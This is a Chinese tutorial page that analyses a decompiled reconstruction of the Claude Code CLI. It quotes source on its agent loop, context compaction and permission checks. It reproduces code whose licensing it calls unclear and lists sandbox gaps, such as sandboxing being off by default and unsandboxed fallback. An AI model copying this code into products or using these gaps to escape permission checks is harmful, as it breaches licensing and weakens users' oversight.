Harness · Coding Agent Book09 / Claude Code(复原)
研究总览
M09 · SOURCE-GROUNDED TUTORIAL

Claude Code(复原)
从源码学会它怎么工作

从复原源码可见极深的权限、上下文和子 Agent 设计;但来源与许可边界使其不能等同官方源码。 我们不把 README 当结论,而是沿主循环、工具、上下文、权限、扩展、协作和状态一路读到实现。

JS · Reconstructed Claude HarnessMIT53f347d3466625 个结论 · 79 处引用
这门课怎么读

先建立直觉,再沿一条任务链钻进代码

参考教程的做法不是把 API 名称罗列出来,而是从一个小白能理解的问题开始,先解释“为什么需要这个机制”,再用概念对比、执行链路和固定提交的源码回答“它究竟怎么做”。本页把 Claude Code(复原) 的 25 个源码结论重新编排成十节课;每个结论都保留证据等级、文件路径、行号和可点击源码。

你会得到一张可复述的架构地图一次完整任务的链路追踪能迁移到自研 Harness 的设计判断
你不会得到把 README 功能当成已验证事实把 prompt 约束说成 OS 沙箱把一次双模型调用夸成多 Agent 平台
M00 · MAP

先看全景:这个 Agent 的控制面在哪里

下面的图不是产品宣传图,而是把固定提交里最关键的入口、循环、模型、工具、安全、状态和协作节点放在一张地图上。

架构图全屏打开 ↗
一轮执行链路全屏打开 ↗
核心机制

持续消息变换;流中提前工具;补齐不完整 result

上下文

snip→tool slimming→memory→autocompact 阶梯

适用建设

研究 Claude Code 机制与多 Agent/权限设计

M00.5 · TRACE

跟踪一个任务:从输入到交付

把下面九步当成你读源码时的“地图坐标”。每到一个节点,都能回到后面的章节查具体实现。

读图提醒

箭头只表示控制面之间的关系,不代表每个实现都同步、串行或拥有 OS 隔离;真正的边界要以对应章节的源码摘录和 caveat 为准。

M01 · ORIENTATION

先把 Agent 看成一台会交付的机器

如果只看 README,你知道它能做什么;钻进源码后,我们要知道它为什么能做、什么时候会停、失败后谁负责收拾。

先用一个生活比喻

把 Agent 想成一间带传送带的工作室:入口收任务,主循环决定下一步,模型负责提出动作,工具负责动手,状态账本负责让下一班人接着干。

这套实现先回答了什么?

它像依据成品拆机后复原出的工程图,能研究结构,但不能把每一处细节当成原厂图纸。

本节阅读法先问问题读事实看代码做迁移判断
源码问题固定提交给出的线索白话结论
这是反编译/复原仓库,不是 Anthropic 官方 Claude Code 源码AGENTS.md:1它像依据成品拆机后复原出的工程图,能研究结构,但不能把每一处细节当成原厂图纸。
测试很多,但复原完整度和许可边界仍是采用门槛src/services/compact/__tests__/snipCompact.test.ts:1它不是玩具项目,回归网很大;但“测得多”不能消除拆机复原缺件和法律授权不明确的问题。
01
L2 · limitation · claude-code-provenance-001

这是反编译/复原仓库,不是 Anthropic 官方 Claude Code 源码

先看源码事实

仓库自己的 AGENTS.md 明确称其为 reverse-engineered/decompiled 版本,目标是恢复核心功能并裁剪次要能力,同时承认很多模块是 stub 或由 feature flag 关闭。

翻译成白话

它像依据成品拆机后复原出的工程图,能研究结构,但不能把每一处细节当成原厂图纸。

为什么这对自研重要

报告可评价这个固定提交的实现,但任何对官方产品内部机制的映射都必须标注为推断。

固定提交源码摘录
    1  # CLAUDE.md
    2  
    3  This file provides guidance to Claude Code (claude.ai/code) and other AI coding agents when working with code in this repository.
    4  
    5  ## Project Overview
    6  
    7  This is a **reverse-engineered / decompiled** version of Anthropic's official Claude Code CLI tool. The goal is to restore core functionality while trimming secondary capabilities. Many modules are stubbed or feature-flagged off. TypeScript strict mode is enforced — **`bunx tsc --noEmit` must pass with zero errors**.
    8  
为什么相信这条结论?查看 2 处证据
  • provenanceAGENTS.md:1–8仓库自述为 reverse-engineered/decompiled,并承认 stub/feature-off。
  • provenanceAGENTS.md:252–264列出恢复、空实现与简化模块。
02
L3 · limitation · claude-code-maturity-001

测试很多,但复原完整度和许可边界仍是采用门槛

先看源码事实

固定提交包含 449 个 test/spec 文件,其中 src/packages 有 442 个;仓库内仍有大量 stub/TODO/feature gate 命中,且根目录未见仓库级 LICENSE。

翻译成白话

它不是玩具项目,回归网很大;但“测得多”不能消除拆机复原缺件和法律授权不明确的问题。

为什么这对自研重要

适合作为研究样本和实现线索,不宜直接作为企业产品基座;若复用代码必须单独做许可证与来源审查。

固定提交源码摘录
    1  import { describe, expect, test } from 'bun:test'
    2  import {
    3    isSnipMarkerMessage,
    4    isSnipRuntimeEnabled,
    5    shouldNudgeForSnips,
    6    snipCompactIfNeeded,
    7    SNIP_NUDGE_TEXT,
    8  } from '../snipCompact.js'
    9  import type { Message } from 'src/types/message.js'
   10  
   11  // --- Helpers ---
   12  
   13  function makeMessage(uuid: string, type: Message['type'] = 'user'): Message {
   14    return {
   15      type,
   16      uuid,
   17      message: {
   18        role: type === 'user' ? 'user' : 'assistant',
   19        content: `Message ${uuid}`,
   20      },
   21    } as Message
   22  }
   23  
   24  function makeSystemMessage(
   25    uuid: string,
      … 44 lines omitted; exact range 1–80 …
   70    test('returns true (module is only loaded when HISTORY_SNIP is on)', () => {
   71      expect(isSnipRuntimeEnabled()).toBe(true)
   72    })
   73  })
   74  
   75  // --- shouldNudgeForSnips ---
   76  
   77  describe('shouldNudgeForSnips', () => {
   78    test('returns false for short conversation', () => {
   79      const msgs = Array.from({ length: 10 }, (_, i) => makeMessage(`u${i}`))
   80      expect(shouldNudgeForSnips(msgs)).toBe(false)
为什么相信这条结论?查看 4 处证据
小练习 1

打开本节任意一个源码摘录,先遮住白话解释,只根据函数名、状态字段和调用顺序猜它解决什么问题;再展开证据列表,检查你的猜测有没有越过源码边界。

M02 · LOOP

主循环:模型为什么会继续动

一次模型调用为什么会变成十几步?循环靠什么继续,靠什么停止?

先用一个生活比喻

像一个会看回执的快递员:模型先写行动单,工具返回回执,主循环把回执放回桌面,再让模型决定下一张行动单。

这套实现先回答了什么?

每一轮不是“问一次模型就结束”,而是先整理行李、调用模型、执行动作、把结果记账,再决定继续还是停。

本节阅读法先问问题读事实看代码做迁移判断
源码问题固定提交给出的线索白话结论
主 Harness 是一个持续循环的消息变换与工具执行流水线src/query.ts:460每一轮不是“问一次模型就结束”,而是先整理行李、调用模型、执行动作、把结果记账,再决定继续还是停。
工具可以随流式响应提前启动,并补齐协议不完整的 tool resultsrc/query.ts:971模型还在吐后续内容时,已经完整的工具参数可以先开工;账本缺一张回执时,系统会补一张失败回执,避免下一轮 API 拒绝整段对话。
03
L1 · fact · claude-code-loop-001

主 Harness 是一个持续循环的消息变换与工具执行流水线

先看源码事实

query.ts 在 while(true) 中依次做工具结果预算、snip、microcompact、context collapse/autocompact、API streaming、工具执行、错误恢复和 stop hook;下一轮把 assistant/tool result 继续并回消息历史。

翻译成白话

每一轮不是“问一次模型就结束”,而是先整理行李、调用模型、执行动作、把结果记账,再决定继续还是停。

为什么这对自研重要

上下文、工具、权限和恢复都在同一编排循环交汇,修改其中任何一步都可能影响缓存与 transcript 一致性。

固定提交源码摘录
  460    while (true) {
  461      // Destructure state at the top of each iteration. toolUseContext alone
  462      // is reassigned within an iteration (queryTracking, messages updates);
  463      // the rest are read-only between continue sites.
  464      let { toolUseContext } = state
  465      const {
  466        messages,
  467        autoCompactTracking,
  468        maxOutputTokensRecoveryCount,
  469        hasAttemptedReactiveCompact,
  470        maxOutputTokensOverride,
  471        pendingToolUseSummary,
  472        stopHookActive,
  473        turnCount,
  474      } = state
  475  
  476      // Skill discovery prefetch — per-iteration (uses findWritePivot guard
  477      // that returns early on non-write iterations). Discovery runs while the
  478      // model streams and tools execute; awaited post-tools alongside the
  479      // memory prefetch consume. Replaces the blocking assistant_turn path
  480      // that ran inside getAttachmentMessages (97% of those calls found
  481      // nothing in prod). Turn-0 user-input discovery still blocks in
  482      // userInputAttachments — that's the one signal where there's no prior
  483      // work to hide under.
  484      const pendingSkillPrefetch = skillPrefetch?.startSkillDiscoveryPrefetch(
      … 171 lines omitted; exact range 460–666 …
  656          systemPrompt,
  657          userContext,
  658          systemContext,
  659          toolUseContext,
  660          forkContextMessages: messagesForQuery,
  661        },
  662        querySource,
  663        tracking,
  664        snipTokensFreed,
  665      )
  666      queryCheckpoint('query_autocompact_end')
为什么相信这条结论?查看 3 处证据
04
L1 · fact · claude-code-loop-002

工具可以随流式响应提前启动,并补齐协议不完整的 tool result

先看源码事实

query.ts 在 content block 尚流式到达时创建 tool executor,收到完整 tool_use 后启动权限与执行;若 assistant 生成了工具调用但对应结果缺失,会合成错误 tool_result 维持 API 配对。

翻译成白话

模型还在吐后续内容时,已经完整的工具参数可以先开工;账本缺一张回执时,系统会补一张失败回执,避免下一轮 API 拒绝整段对话。

为什么这对自研重要

降低工具启动延迟并提高恢复性,但要求工具调用去重、取消和消息顺序非常严谨。

固定提交源码摘录
  971                // Discard pending results from the failed streaming attempt and create
  972                // a fresh executor. This prevents orphan tool_results (with old tool_use_ids)
  973                // from being yielded after the fallback response arrives.
  974                if (streamingToolExecutor) {
  975                  streamingToolExecutor.discard()
  976                  streamingToolExecutor = new StreamingToolExecutor(
  977                    toolUseContext.options.tools,
  978                    canUseTool,
  979                    toolUseContext,
  980                  )
  981                }
  982              }
  983              // Backfill tool_use inputs on a cloned message before yield so
  984              // SDK stream output and transcript serialization see legacy/derived
  985              // fields. The original `message` is left untouched for
  986              // assistantMessages.push below — it flows back to the API and
  987              // mutating it would break prompt caching (byte mismatch).
  988              let yieldMessage: typeof message = message
  989              if (message.type === 'assistant') {
  990                const assistantMsg = message as AssistantMessage
  991                const contentArr = Array.isArray(assistantMsg.message?.content)
  992                  ? (assistantMsg.message.content as unknown as Array<{
  993                      type: string
  994                      input?: unknown
  995                      name?: string
      … 118 lines omitted; exact range 971–1124 …
 1114                        [result.message],
 1115                        toolUseContext.options.tools,
 1116                      ).filter(_ => _.type === 'user'),
 1117                    )
 1118                  }
 1119                }
 1120              }
 1121            }
 1122            queryCheckpoint('query_api_streaming_end')
 1123  
 1124            // Yield deferred microcompact boundary message using actual API-reported
为什么相信这条结论?查看 3 处证据
小练习 2

打开本节任意一个源码摘录,先遮住白话解释,只根据函数名、状态字段和调用顺序猜它解决什么问题;再展开证据列表,检查你的猜测有没有越过源码边界。

M03 · MODEL

模型调用:流式输出如何变成可执行步骤

模型输出的文字、思考、工具调用和错误,经过哪些转换才进入 Agent 状态?

先用一个生活比喻

模型像电话另一端的同事:你听到的不是一整段录音,而是一串实时片段;Harness 要边听边拼装,还要能在电话断线时留下可恢复的记录。

这套实现先回答了什么?

先把所有方言共有的消息账本整理好,再交给各家的翻译器;Anthropic 方言拥有最完整的缓存、thinking 和 beta 功能。

本节阅读法先问问题读事实看代码做迁移判断
源码问题固定提交给出的线索白话结论
共享预处理之后按 Provider 分流,Anthropic 仍是最深的主路径src/services/api/claude.ts:1282先把所有方言共有的消息账本整理好,再交给各家的翻译器;Anthropic 方言拥有最完整的缓存、thinking 和 beta 功能。
流式异常可退回非流式请求,且为 fallback 设置独立超时src/services/api/claude.ts:818流式通道卡住时会换普通请求再试,不让“无限等待”成为默认恢复策略。
05
L1 · fact · claude-code-provider-001

共享预处理之后按 Provider 分流,Anthropic 仍是最深的主路径

先看源码事实

消息规范化、工具过滤、配对修复和媒体裁剪后,openai、gemini、grok 进入各自 adapter;其余路径继续构造 Anthropic beta messages 参数,Bedrock 追加特有 beta/body。

翻译成白话

先把所有方言共有的消息账本整理好,再交给各家的翻译器;Anthropic 方言拥有最完整的缓存、thinking 和 beta 功能。

为什么这对自研重要

多模型可用性强,但新增兼容层不自动获得 Anthropic 路径全部语义,必须独立做工具与 usage 回归。

固定提交源码摘录
 1282    // Normalize messages before building system prompt (needed for fingerprinting)
 1283    // Instrumentation: Track message count before normalization
 1284    logEvent('tengu_api_before_normalize', {
 1285      preNormalizedMessageCount: messages.length,
 1286    })
 1287  
 1288    queryCheckpoint('query_message_normalization_start')
 1289    let messagesForAPI = normalizeMessagesForAPI(messages, filteredTools)
 1290    queryCheckpoint('query_message_normalization_end')
 1291  
 1292    // Model-specific post-processing: strip tool-search-specific fields if the
 1293    // selected model doesn't support tool search.
 1294    //
 1295    // Why is this needed in addition to normalizeMessagesForAPI?
 1296    // - normalizeMessagesForAPI uses isSearchExtraToolsEnabledNoModelCheck() because it's
 1297    //   called from ~20 places (analytics, feedback, sharing, etc.), many of which
 1298    //   don't have model context. Adding model to its signature would be a large refactor.
 1299    // - This post-processing uses the model-aware isSearchExtraToolsEnabled() check
 1300    // - This handles mid-conversation model switching (e.g., Sonnet → Haiku) where
 1301    //   stale tool-search fields from the previous model would cause 400 errors
 1302    //
 1303    // Note: For assistant messages, normalizeMessagesForAPI already normalized the
 1304    // tool inputs, so stripCallerFieldFromAssistantMessage only needs to remove the
 1305    // 'caller' field (not re-normalize inputs).
 1306    if (!useSearchExtraTools) {
      … 21 lines omitted; exact range 1282–1338 …
 1328      messagesForAPI = stripAdvisorBlocks(messagesForAPI)
 1329    }
 1330  
 1331    // Strip excess media items before making the API call.
 1332    // The API rejects requests with >100 media items but returns a confusing error.
 1333    // Rather than erroring (which is hard to recover from in Cowork/CCD), we
 1334    // silently drop the oldest media items to stay within the limit.
 1335    messagesForAPI = stripExcessMediaItems(
 1336      messagesForAPI,
 1337      API_MAX_MEDIA_PER_REQUEST,
 1338    )
为什么相信这条结论?查看 3 处证据
06
L1 · fact · claude-code-provider-002

流式异常可退回非流式请求,且为 fallback 设置独立超时

先看源码事实

API 层检测无 message_start、无完整 content block、idle 或 streaming error,按开关选择非流式 fallback;fallback 有单次有界超时,并把失败关联回原 streaming request。

翻译成白话

流式通道卡住时会换普通请求再试,不让“无限等待”成为默认恢复策略。

为什么这对自研重要

交互韧性较高;但若工具已经由流式路径提前启动,重复请求可能产生双执行风险,所以代码也提供禁用该 fallback 的门。

固定提交源码摘录
  818   * Per-attempt timeout for non-streaming fallback requests, in milliseconds.
  819   * Reads API_TIMEOUT_MS when set so slow backends and the streaming path
  820   * share the same ceiling.
  821   *
  822   * Remote sessions default to 120s to stay under CCR's container idle-kill
  823   * (~5min) so a hung fallback to a wedged backend surfaces a clean
  824   * APIConnectionTimeoutError instead of stalling past SIGKILL.
  825   *
  826   * Otherwise defaults to 300s — long enough for slow backends without
  827   * approaching the API's 10-minute non-streaming boundary.
  828   */
  829  function getNonstreamingFallbackTimeoutMs(): number {
  830    const override = parseInt(process.env.API_TIMEOUT_MS || '', 10)
  831    if (override) return override
  832    return isEnvTruthy(process.env.CLAUDE_CODE_REMOTE) ? 120_000 : 300_000
  833  }
  834  
  835  /**
  836   * Helper generator for non-streaming API requests.
  837   * Encapsulates the common pattern of creating a withRetry generator,
  838   * iterating to yield system messages, and returning the final BetaMessage.
  839   */
  840  export async function* executeNonStreamingRequest(
  841    clientOptions: {
  842      model: string
      … 72 lines omitted; exact range 818–925 …
  915          throw err
  916        }
  917      },
  918      {
  919        model: retryOptions.model,
  920        fallbackModel: retryOptions.fallbackModel,
  921        thinkingConfig: retryOptions.thinkingConfig,
  922        ...(isFastModeEnabled() && { fastMode: retryOptions.fastMode }),
  923        signal: retryOptions.signal,
  924        initialConsecutive529Errors: retryOptions.initialConsecutive529Errors,
  925        querySource: retryOptions.querySource,
为什么相信这条结论?查看 3 处证据
小练习 3

打开本节任意一个源码摘录,先遮住白话解释,只根据函数名、状态字段和调用顺序猜它解决什么问题;再展开证据列表,检查你的猜测有没有越过源码边界。

M04 · TOOLS

工具系统:Agent 的手脚怎样被注册和调度

模型看见的工具说明,和真正执行工具的代码,是不是同一个东西?并发、编辑和失败结果怎么处理?

先用一个生活比喻

工具系统像机场:模型提交登机牌,注册表确认航班,权限闸机检查证件,调度器决定跑道,最后才允许真正起飞。

这套实现先回答了什么?

工具箱每轮不能乱序,否则模型缓存会失效;外接工具也不能偷偷覆盖同名的原厂扳手。

本节阅读法先问问题读事实看代码做迁移判断
源码问题固定提交给出的线索白话结论
工具池合并内建与 MCP,并为 prompt cache 做确定性排序src/tools.ts:378工具箱每轮不能乱序,否则模型缓存会失效;外接工具也不能偷偷覆盖同名的原厂扳手。
07
L1 · fact · claude-code-tools-001

工具池合并内建与 MCP,并为 prompt cache 做确定性排序

先看源码事实

assembleToolPool 先装配内建工具,再接 MCP 工具,应用 deny 过滤,并按稳定分区排序;工具重名时内建工具优先。

翻译成白话

工具箱每轮不能乱序,否则模型缓存会失效;外接工具也不能偷偷覆盖同名的原厂扳手。

为什么这对自研重要

工具发现和缓存稳定性被当作 Harness 核心问题,而不只是 UI 列表。

固定提交源码摘录
  378  export function assembleToolPool(
  379    permissionContext: ToolPermissionContext,
  380    mcpTools: Tools,
  381  ): Tools {
  382    const builtInTools = getTools(permissionContext)
  383  
  384    // Filter out MCP tools that are in the deny list
  385    const allowedMcpTools = filterToolsByDenyRules(mcpTools, permissionContext)
  386  
  387    // Sort each partition for prompt-cache stability, keeping built-ins as a
  388    // contiguous prefix. The server's claude_code_system_cache_policy places a
  389    // global cache breakpoint after the last prefix-matched built-in tool; a flat
  390    // sort would interleave MCP tools into built-ins and invalidate all downstream
  391    // cache keys whenever an MCP tool sorts between existing built-ins. uniqBy
  392    // preserves insertion order, so built-ins win on name conflict.
  393    // Avoid Array.toSorted (Node 20+) — we support Node 18. builtInTools is
  394    // readonly so copy-then-sort; allowedMcpTools is a fresh .filter() result.
  395    const byName = (a: Tool, b: Tool) => a.name.localeCompare(b.name)
  396    return uniqBy(
  397      [...builtInTools].sort(byName).concat(allowedMcpTools.sort(byName)),
  398      'name',
  399    )
  400  }
  401  
  402  /**
      … 7 lines omitted; exact range 378–420 …
  410   * Use getTools() only when you specifically need just built-in tools.
  411   *
  412   * @param permissionContext - Permission context for filtering built-in tools
  413   * @param mcpTools - MCP tools from appState.mcp.tools
  414   * @returns Combined array of built-in and MCP tools
  415   */
  416  export function getMergedTools(
  417    permissionContext: ToolPermissionContext,
  418    mcpTools: Tools,
  419  ): Tools {
  420    const builtInTools = getTools(permissionContext)
为什么相信这条结论?查看 3 处证据
小练习 4

打开本节任意一个源码摘录,先遮住白话解释,只根据函数名、状态字段和调用顺序猜它解决什么问题;再展开证据列表,检查你的猜测有没有越过源码边界。

M05 · CONTEXT

上下文:有限窗口怎样装下长任务

当对话、工具输出、计划和记忆越来越多,系统怎样决定留下什么、折叠什么、放到哪里?

先用一个生活比喻

上下文不是聊天记录,而是一张会整理的工作台:常用零件放桌面,旧材料装进档案盒,必要时只留下索引卡。

这套实现先回答了什么?

先精准剪掉明确不要的旧段,再清空大块工具输出,最后才用模型写摘要;不同手术刀处理不同类型的肥胖。

本节阅读法先问问题读事实看代码做迁移判断
源码问题固定提交给出的线索白话结论
上下文不是单层摘要,而是 snip、工具结果瘦身、session memory 与 autocompact 的阶梯src/services/compact/snipCompact.ts:60先精准剪掉明确不要的旧段,再清空大块工具输出,最后才用模型写摘要;不同手术刀处理不同类型的肥胖。
压缩为输出预留预算,并有连续失败熔断src/services/compact/autoCompact.ts:28不会把车厢塞满到回答没座位;整理行李连续失败三次后先停手,不再每回合烧一次模型调用。
cache-editing 微压缩代码存在,但该固定提交的关键 beta header 为空src/services/compact/microCompact.ts:257发动机舱里有这套零件,但点火钥匙没公开,当前版本不会真正挂入生产链路。
超长请求有 reactive compact 与循环保护src/query.ts:1352真的撞到窗口上限时,会倒车、重新打包再试;同一次事故不会无限重复。
08
L1 · fact · claude-code-context-001

上下文不是单层摘要,而是 snip、工具结果瘦身、session memory 与 autocompact 的阶梯

先看源码事实

snip 根据边界和 UUID 列表删除指定旧消息;microcompact 只针对读、shell、grep/glob、web、edit/write 等高体积工具结果;autocompact 优先尝试 session memory,再退回 legacy summary。

翻译成白话

先精准剪掉明确不要的旧段,再清空大块工具输出,最后才用模型写摘要;不同手术刀处理不同类型的肥胖。

为什么这对自研重要

比单一“全历史总结”更保真,但分层状态、缓存标记和 resume 重建复杂。

固定提交源码摘录
   60  /**
   61   * Scan the message array for the last `snip_boundary` system message and,
   62   * if found, remove all messages whose UUIDs appear in its
   63   * `snipMetadata.removedUuids`.
   64   *
   65   * This is the core memory-saving function. When a snip boundary exists:
   66   * 1. All messages listed in `removedUuids` are filtered out.
   67   * 2. The boundary message itself is kept (it records what was removed).
   68   * 3. Messages not in `removedUuids` (including post-boundary messages)
   69   *    are preserved.
   70   *
   71   * Called from:
   72   * - `query.ts` — strips snipped messages from the model-facing array
   73   *   before sending to the API.
   74   * - `QueryEngine.ts` `snipReplay` — trims `mutableMessages` so the
   75   *   in-memory store does not grow without bound in long SDK sessions.
   76   *
   77   * @param messages  Full message array (may contain a snip_boundary).
   78   * @param options   `force` — if true, always execute when a boundary is
   79   *                  present. Without `force`, the function still executes
   80   *                  if a boundary is found (the "if needed" refers to
   81   *                  whether a boundary exists, not a token threshold).
   82   */
   83  export function snipCompactIfNeeded(
   84    messages: Message[],
      … 52 lines omitted; exact range 60–147 …
  137      }
  138      kept.push(msg)
  139    }
  140  
  141    return {
  142      messages: kept,
  143      executed: true,
  144      tokensFreed,
  145      boundaryMessage,
  146    }
  147  }
为什么相信这条结论?查看 3 处证据
09
L1 · fact · claude-code-context-002

压缩为输出预留预算,并有连续失败熔断

先看源码事实

有效输入窗口从模型窗口中扣除最多 20k 输出预算;常规/大窗口采用不同 warning/error buffer,自动压缩连续失败三次后熔断,避免每轮重复消耗。

翻译成白话

不会把车厢塞满到回答没座位;整理行李连续失败三次后先停手,不再每回合烧一次模型调用。

为什么这对自研重要

阈值与错误治理成熟,但部分阈值注释来自不可核验的内部指标,报告只采纳代码常量和行为。

固定提交源码摘录
   28  // Reserve this many tokens for output during compaction
   29  // Based on p99.99 of compact summary output being 17,387 tokens.
   30  const MAX_OUTPUT_TOKENS_FOR_SUMMARY = 20_000
   31  
   32  // Returns the context window size minus the max output tokens for the model
   33  export function getEffectiveContextWindowSize(model: string): number {
   34    const reservedTokensForSummary = Math.min(
   35      getMaxOutputTokensForModel(model),
   36      MAX_OUTPUT_TOKENS_FOR_SUMMARY,
   37    )
   38    let contextWindow = getContextWindowForModel(model, getSdkBetas())
   39  
   40    const autoCompactWindow = process.env.CLAUDE_CODE_AUTO_COMPACT_WINDOW
   41    if (autoCompactWindow) {
   42      const parsed = parseInt(autoCompactWindow, 10)
   43      if (!isNaN(parsed) && parsed > 0) {
   44        contextWindow = Math.min(contextWindow, parsed)
   45      }
   46    }
   47  
   48    return contextWindow - reservedTokensForSummary
   49  }
   50  
   51  export type AutoCompactTrackingState = {
   52    compacted: boolean
      … 30 lines omitted; exact range 28–93 …
   83  
   84  /**
   85   * Estimate the maximum token growth a single turn can produce.
   86   * Used for predictive autocompact checks before the API call.
   87   */
   88  export function estimateMaxTurnGrowth(model: string): number {
   89    const maxOutput = Math.min(
   90      getMaxOutputTokensForModel(model),
   91      MAX_OUTPUT_TOKENS_FOR_SUMMARY,
   92    )
   93    return maxOutput + TOOL_RESULT_GROWTH_ESTIMATE
为什么相信这条结论?查看 3 处证据
10
L1 · limitation · claude-code-context-003

cache-editing 微压缩代码存在,但该固定提交的关键 beta header 为空

先看源码事实

microcompact 的 cached path 能登记 tool result、生成 cache_edits 并维持 pinned edits;然而 API 层明确检查到本 fork 的 CACHE_EDITING_BETA_HEADER 为空,headerAvailable=false 时关闭该路径。

翻译成白话

发动机舱里有这套零件,但点火钥匙没公开,当前版本不会真正挂入生产链路。

为什么这对自研重要

不能把 cached microcompact 计为该固定提交默认可用能力;真正可达的是 time-based 清空和 autocompact 等路径。

固定提交源码摘录
  257  export async function microcompactMessages(
  258    messages: Message[],
  259    toolUseContext?: ToolUseContext,
  260    querySource?: QuerySource,
  261  ): Promise<MicrocompactResult> {
  262    // Clear suppression flag at start of new microcompact attempt
  263    clearCompactWarningSuppression()
  264  
  265    // Time-based trigger runs first and short-circuits. If the gap since the
  266    // last assistant message exceeds the threshold, the server cache has expired
  267    // and the full prefix will be rewritten regardless — so content-clear old
  268    // tool results now, before the request, to shrink what gets rewritten.
  269    // Cached MC (cache-editing) is skipped when this fires: editing assumes a
  270    // warm cache, and we just established it's cold.
  271    const timeBasedResult = maybeTimeBasedMicrocompact(messages, querySource)
  272    if (timeBasedResult) {
  273      return timeBasedResult
  274    }
  275  
  276    // Only run cached MC for the main thread to prevent forked agents
  277    // (session_memory, prompt_suggestion, etc.) from registering their
  278    // tool_results in the global cachedMCState, which would cause the main
  279    // thread to try deleting tools that don't exist in its own conversation.
  280    if (feature('CACHED_MICROCOMPACT')) {
  281      const mod = await getCachedMCModule()
      … 15 lines omitted; exact range 257–307 …
  297  }
  298  
  299  /**
  300   * Cached microcompact path - uses cache editing API to remove tool results
  301   * without invalidating the cached prefix.
  302   *
  303   * Key differences from regular microcompact:
  304   * - Does NOT modify local message content (cache_reference and cache_edits are added at API layer)
  305   * - Uses count-based trigger/keep thresholds from GrowthBook config
  306   * - Takes precedence over regular microcompact (no disk persistence)
  307   * - Tracks tool results and queues cache edits for the API layer
为什么相信这条结论?查看 3 处证据
11
L1 · fact · claude-code-context-004

超长请求有 reactive compact 与循环保护

先看源码事实

query 捕获 prompt-too-long 和媒体相关错误后可移除失败消息、触发压缩并重试;同时记录已尝试状态,防止恢复逻辑无限循环。

翻译成白话

真的撞到窗口上限时,会倒车、重新打包再试;同一次事故不会无限重复。

为什么这对自研重要

预测阈值漏判时仍有救生路径,适合长会话,但压缩前后的 tool pairing 与 transcript 必须同步修复。

固定提交源码摘录
 1352        // Prompt-too-long recovery: the streaming loop withheld the error
 1353        // (see withheldByCollapse / withheldByReactive above). Try collapse
 1354        // drain first (cheap, keeps granular context), then reactive compact
 1355        // (full summary). Single-shot on each — if a retry still 413's,
 1356        // the next stage handles it or the error surfaces.
 1357        const isWithheld413 =
 1358          lastMessage?.type === 'assistant' &&
 1359          lastMessage.isApiErrorMessage &&
 1360          isPromptTooLongMessage(lastMessage)
 1361        // Media-size rejections (image/PDF/many-image) are recoverable via
 1362        // reactive compact's strip-retry. Unlike PTL, media errors skip the
 1363        // collapse drain — collapse doesn't strip images. mediaRecoveryEnabled
 1364        // is the hoisted gate from before the stream loop (same value as the
 1365        // withholding check — these two must agree or a withheld message is
 1366        // lost). If the oversized media is in the preserved tail, the
 1367        // post-compact turn will media-error again; hasAttemptedReactiveCompact
 1368        // prevents a spiral and the error surfaces.
 1369        const isWithheldMedia =
 1370          mediaRecoveryEnabled &&
 1371          reactiveCompact?.isWithheldMediaSizeError(lastMessage as Message)
 1372        if (isWithheld413) {
 1373          // First: drain all staged context-collapses. Gated on the PREVIOUS
 1374          // transition not being collapse_drain_retry — if we already drained
 1375          // and the retry still 413'd, fall through to reactive compact.
 1376          if (
      … 63 lines omitted; exact range 1352–1450 …
 1440              messages: postCompactMessages,
 1441              toolUseContext,
 1442              autoCompactTracking: undefined,
 1443              maxOutputTokensRecoveryCount,
 1444              hasAttemptedReactiveCompact: true,
 1445              maxOutputTokensOverride: undefined,
 1446              pendingToolUseSummary: undefined,
 1447              stopHookActive: undefined,
 1448              turnCount,
 1449              transition: { reason: 'reactive_compact_retry' },
 1450            }
为什么相信这条结论?查看 2 处证据
小练习 5

打开本节任意一个源码摘录,先遮住白话解释,只根据函数名、状态字段和调用顺序猜它解决什么问题;再展开证据列表,检查你的猜测有没有越过源码边界。

M06 · SECURITY

权限与沙箱:能做什么,在哪里做

审批按钮、规则引擎、容器和操作系统沙箱分别解决什么问题?为什么“问过用户”不等于“隔离了风险”?

先用一个生活比喻

审批像门卫问你有没有预约,沙箱像把访客关在指定房间;前者决定是否放行,后者限制放行后能摸到什么。

这套实现先回答了什么?

不是一个总开关,而是多道门;即使开了 bypass,显式 ask 和某些安全路径仍能拦住。

本节阅读法先问问题读事实看代码做迁移判断
源码问题固定提交给出的线索白话结论
权限是“规则 → 工具自检 → 安全检查 → 模式 → 用户/自动判定”的有序流水线src/utils/permissions/permissions.ts:1179不是一个总开关,而是多道门;即使开了 bypass,显式 ask 和某些安全路径仍能拦住。
无头与后台 Agent 默认不能弹窗,先给 hook/分类器机会再 fail closedsrc/utils/permissions/permissions.ts:392没人盯屏幕时不会卡在“请点允许”;可以让自动政策先裁决,裁决不了再拒绝或向上冒泡。
有真实 OS sandbox 适配,但默认关闭且默认允许退回非沙箱命令src/utils/sandbox/sandbox-adapter.ts:1确实能装防护罩,但开箱时罩子没扣上,而且政策默认允许个别命令绕开它。
hook 只做网络沙箱,包装失败时会继续无沙箱执行src/utils/hooks.ts:1041hook 能被断网,但仍可改本机文件;连断网罩都戴不上时,为兼容旧行为会直接执行。
12
L1 · fact · claude-code-permission-001

权限是“规则 → 工具自检 → 安全检查 → 模式 → 用户/自动判定”的有序流水线

先看源码事实

显式 deny、ask、工具自己的内容级检查和敏感路径 safetyCheck 先执行;之后 bypass/always-allow 才可能放行,passthrough 最终转为 ask。dontAsk 把 ask 变 deny,auto 可进入分类器。

翻译成白话

不是一个总开关,而是多道门;即使开了 bypass,显式 ask 和某些安全路径仍能拦住。

为什么这对自研重要

规则优先级清晰,适合企业策略;复杂度也意味着每种工具必须准确返回 decisionReason。

固定提交源码摘录
 1179  async function hasPermissionsToUseToolInner(
 1180    tool: Tool,
 1181    input: { [key: string]: unknown },
 1182    context: ToolUseContext,
 1183  ): Promise<PermissionDecision> {
 1184    if (context.abortController.signal.aborted) {
 1185      throw new AbortError()
 1186    }
 1187  
 1188    let appState = context.getAppState()
 1189  
 1190    // 1. Check if the tool is denied
 1191    // 1a. Entire tool is denied
 1192    const denyRule = getDenyRuleForTool(appState.toolPermissionContext, tool)
 1193    if (denyRule) {
 1194      return {
 1195        behavior: 'deny',
 1196        decisionReason: {
 1197          type: 'rule',
 1198          rule: denyRule,
 1199        },
 1200        message: `Permission to use ${tool.name} has been denied.`,
 1201      }
 1202    }
 1203  
      … 67 lines omitted; exact range 1179–1281 …
 1271    }
 1272  
 1273    // 1g. Safety checks (e.g. .git/, .claude/, .vscode/, shell configs) are
 1274    // bypass-immune — they must prompt even in bypassPermissions mode.
